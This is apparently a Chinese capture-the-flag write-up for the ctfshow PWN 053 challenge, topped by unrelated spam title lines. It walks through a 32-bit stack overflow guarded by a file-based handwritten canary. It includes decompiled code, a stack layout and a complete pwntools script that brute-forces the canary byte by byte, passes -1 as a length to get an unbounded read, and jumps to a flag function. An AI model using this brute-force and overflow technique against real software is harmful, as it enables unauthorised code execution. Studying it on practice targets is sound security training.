wordpress多站共享授权码住小帮装修案例
wordpress多站共享授权码,住小帮装修案例,湖北联诺建设网站,制作网站难还是编程难本文仅用于技术研究#xff0c;禁止用于非法用途。
Author:枷锁
在前面的关卡中#xff0c;我们刚熟悉了 32 位的底层栈传参原理。来到 PWN 053#xff0c;出题人给出的提示是#xff1a;“再多一眼看一眼就会爆炸”。
这句提示非常经典#xff0c;在二进制安全领域#…本文仅用于技术研究禁止用于非法用途。Author:枷锁在前面的关卡中我们刚熟悉了 32 位的底层栈传参原理。来到PWN 053出题人给出的提示是“再多一眼看一眼就会爆炸”。这句提示非常经典在二进制安全领域“看一眼就爆炸”通常指的是一种极其敏感的栈保护机制——Canary栈哨兵。一旦你溢出时不小心覆盖并改变了它程序就会像引爆了炸弹一样当场自杀。但有意思的事情发生了当我们信誓旦旦地去检查保护机制时……第一部分题目信息与环境侦察虚假的平静1. 检查保护机制 (checksec)~/Desktop .............................................................. at 22:34:38 checksec pwn [*] /home/shining/Desktop/pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found -- NX: NX enabled PIE: No PIE (0x8048000) Stripped: No等等checksec明明显示No canary found没有栈哨兵难道提示在诈骗 别急系统自带的 GCC 保护确实没开但如果你遇到过这种老奸巨猾的出题人就会知道如果系统不给他就自己手写一个第二部分破局思路与静态分析硬核剖析将程序拖入 IDA Pro我们直接顺藤摸瓜从main函数往下看。1. 发现猫腻手搓的 Canary程序在main函数中调用了一个名为canary()的函数跟进一看int canary() { FILE *stream; // [espCh] [ebp-Ch] stream fopen(/canary.txt, r); if ( !stream ) { puts(/canary.txt: No such file or directory.); exit(0); } fread(global_canary, 1u, 4u, stream); // 从文件读取 4 字节到全局变量中 return fclose(stream); }原理解析破案了出题人并没有开启编译器的 Canary 保护而是自己在根目录下放了一个/canary.txt文件程序启动时会从中读取 4 个字节存放到全局变量global_canary中。2. 深入核心漏洞ctfshow() 函数这是我们栈溢出的主战场仔细观察变量在栈上的位置int ctfshow() { size_t nbytes; // [esp4h] [ebp-54h] BYREF _BYTE v2[32]; // [esp8h] [ebp-50h] BYREF _BYTE buf[32]; // [esp28h] [ebp-30h] BYREF -- 我们的输入缓冲区 int s1; // [esp48h] [ebp-10h] BYREF -- 手工 Canary 在栈上的复印件 int v5; // [esp4Ch] [ebp-Ch] v5 0; s1 global_canary; // 【关键】将全局 Canary 塞进栈里当哨兵 printf(How many bytes do you want to write to the buffer?\n); // ... 读取你想输入的长度并存入 nbytes ... __isoc99_sscanf(v2, %d, nbytes); printf($ ); read(0, buf, nbytes); // 【漏洞点】读取我们指定的长度绝对的栈溢出 // 【致命校验】检查栈上的 s1 是否被修改 if ( memcmp(s1, global_canary, 4u) ) { puts(Error *** Stack Smashing Detected *** : Canary Value Incorrect!); exit(-1); // 如果被我们覆盖了程序当场自杀 } puts(Where is the flag?); return fflush(stdout); }还有一个flag函数逻辑与漏洞剖析程序问我们要写多少字节如果你回答100它就会用read读入 100 字节到大小只有 32 的buf中溢出条件成立。但是在buf和底部的ebp之间卡着一个“守门员”s1手写的 Canary。如果我们像以前那样直接用a * 112一路莽平堆栈必然会顺手把s1也踩成了aaaa。函数结尾的memcmp发现s1变了就会大喊一声Stack Smashing Detected然后自爆。转机在哪里为什么可以爆破传统的系统 Canary 是基于/dev/urandom生成的每次运行程序都不一样。但本题的 Canary 是从一个固定的文本文件/canary.txt里读出来的这意味着只要服务器不重启/不换文件这个 Canary 的值永远是固定的我们可以利用这一点进行逐字节爆破。3. 栈结构与弹道计算画出直观的栈布局图Stack Layout高地址 ------------------------- | Return Address | -- 最终目标填入后门 flag 函数地址 ------------------------- | Saved EBP (4 bytes) | -- ebp 指向这里 (用 4 字节 0 覆盖) ------------------------- | v5 等变量 (12 bytes)| -- ebp-0x0C 到 ebp-0x04 (用 12 字节 0 覆盖) ------------------------- | s1 (手工 Canary) | -- ebp-0x104 bytes (必须填入爆破出的正确值) ------------------------- | buf (32 bytes) | -- ebp-0x3032 bytes (用 a * 32 填满) ------------------------- 低地址弹道计算填满buf需要0x30 - 0x10 0x2032 字节。接下来紧挨着的 4 个字节就是我们必须小心翼翼填写的Canary。Canary 之后距离Return Address还有16字节v5的 12 字节 保存的 EBP 4 字节我们直接用p32(0) * 4垫平。第三部分实战 EXP 编写与详解 (Pwntools 魔法)这里我们将使用 Python3 和 Pwntools 编写一个优雅的爆破脚本。爆破逻辑我们每次只向未知的 Canary 位置溢出1个字节尝试0x00到0xFF。 如果猜错了程序报错Canary Value Incorrect并断开连接。 如果猜对了程序不报错而是输出Where is the flag?。 猜对一个字节就把他加进已知列表再去猜下一个字节直到 4 个字节全部拼齐from pwn import * # 基础配置由于我们需要大量爆破将日志等级调到 critical避免满屏垃圾日志 context(archi386, oslinux, log_levelcritical) # # 阶段 1逐字节爆破手写 Canary # canary b print([*] 开始爆破 Canary 守门员...) for i in range(4): # 一共 4 个字节 for c in range(256): # 遍历 0x00 到 0xFF io process(./pwn) # 本地测试 # io remote(pwn.challenge.ctf.show, 28173) # 每次爆破都需要重新连接 # 问你要写入多少字节时输入 -1 # -1 在 size_t (无符号整数) 中会被解析为 4294967295也就是我们可以无限制溢出 io.sendlineafter(b, b-1) # 构造试探性 Payload # 32字节垃圾数据(填满buf) 已经爆破出的正确字节 当前猜测的 1 个字节 payload ba * 0x20 canary p8(c) io.sendafter(b$ , payload) # 接收响应判断是否报错 try: # 过滤掉开头的一个字符接收后续的回显 io.recv(1) ans io.recvall(timeout0.2) except EOFError: ans b # 如果回显中没有 Canary Value Incorrect!说明没触发报警猜对了 if bCanary Value Incorrect! not in ans: print(f[] 第 {i1} 个字节爆破成功: {hex(c)}) canary p8(c) io.close() break # 这个字节搞定了跳出内层循环去爆破下一个字节 io.close() # 猜错了断开连接继续下一个数字 # 爆破完成炫耀一下我们的成果 print(f[*] 终极 Canary 值获取完毕: {canary}) # # 阶段 2携旨拿 Shell (真正的 ROP / Ret2Text) # # 重新将日志调回 debug享受最后拿到 flag 的快感 context.log_level debug elf ELF(./pwn) flag_addr elf.sym[flag] # 最后一次连接实施终极打击 io process(./pwn) # io remote(pwn.challenge.ctf.show, 28173) # 再次利用 -1 骗过长度检查 io.sendlineafter(b, b-1) # 构造致命 Payload # 32字节垃圾数据 正确的 Canary(完美绕过检测) 16字节(4个p32(0))垫平EBP 后门函数地址 payload ba * 0x20 canary p32(0) * 4 p32(flag_addr) io.sendafter(b$ , payload) # 拿 Shell / 读 Flag io.interactive()第四部分小白踩坑实录 (深入骨髓的教训)1. 那个神奇的 “-1”整数溢出可能有敏锐的新手在看脚本时会产生疑惑“代码明明问我读入多少字节你为什么要输入-1”原理解析回头看一眼漏洞函数的源码size_t nbytes;__isoc99_sscanf(v2, %d, nbytes);注意nbytes的类型是size_t在 32 位机器上这本质上是一个无符号整数unsigned int。 而我们在输入时如果你老老实实输入一个很大的正数比如1000有时候反而会受制于前面读取缓冲区v2长度的限制。 但当我们输入字符串-1时sscanf将其解析为整数-1。在计算机底层-1的二进制补码是0xFFFFFFFF。当这串补码被当作无符号数size_t对待时它瞬间就变成了4294967295通过一个轻巧的-1我们直接给程序定下了一个近乎无限大的读取范围实现了一次极其优雅的“整数溢出Integer Overflow到缓冲区溢出Buffer Overflow”的联动打击。2. 本地调试瞬间报 EOFError 的惨案环境陷阱很多新手在迫不及待地运行python3 exp.py进行本地测试时脚本瞬间红字报错进程死得不明不白Traceback (most recent call last): ... File /home/shining/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py, line 743, in recv_raw raise EOFError EOFError“脚本明明是按照网上的 Writeup 抄的为什么运行直接管道断裂”原理解析这就是最纯正的“本地环境陷阱”回头看一眼程序最开始执行的canary()函数 它尝试通过fopen(/canary.txt, r)读取机器根目录下的文件。由于你的本机根本没有这个文件程序立刻输出No such file or directory.并调用exit(0)强行自杀了 而你的 Python 脚本pwntools还在傻傻地等待符号出现结果发现对面进程已经死亡于是抛出了EOFError。终极解决办法在本地手动伪造出这两个必要的文件即可打开终端运行# 1. 伪造 Canary 文件 sudo touch /canary.txt sudo chmod 777 /canary.txt echo abcd /canary.txt # 2. 顺手把后门函数要读取的 flag 文件也建好 sudo touch /ctfshow_flag sudo chmod 777 /ctfshow_flag echo flag{local_test_success} /ctfshow_flag创建好这两个文件后再次运行python3 exp.py你就能看到脚本疯狂而优雅的爆破过程了宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。